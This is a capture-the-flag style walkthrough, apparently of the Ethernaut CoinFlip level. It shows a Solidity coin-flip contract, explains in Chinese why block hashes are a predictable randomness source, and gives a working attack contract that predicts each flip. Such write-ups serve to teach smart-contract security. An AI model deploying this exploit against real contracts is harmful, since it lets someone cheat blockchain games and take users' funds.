pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
代码处理流程为:
获得上一块的 hash 值
判断与之前保存的 hash 值是否相等,相等则会退
根据 blockValue/FACTOR 的值判断为正或负,即通过 hash 的首位判断
以太坊区块链上的所有交易都是确定性的状态转换操作,每笔交易都会改变以太坊生态系统的全球状态,并且是以一种可计算的方式进行,这意味着其没有任何的不确定性。所以在区块链生态系统内,不存在熵或随机性的来源。如果使用可以被挖矿的矿工所控制的变量,如区块哈希值,时间戳,区块高低或是 Gas 上限等作为随机数的熵源,产生的随机数并不安全。
所以编写如下攻击脚本,调用 10 次 exploit() 即可
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract hack{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address instance_address = ContractAddress;
CoinFlip c = CoinFlip(instance_address);
function exploit() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
c.flip(side);
}
}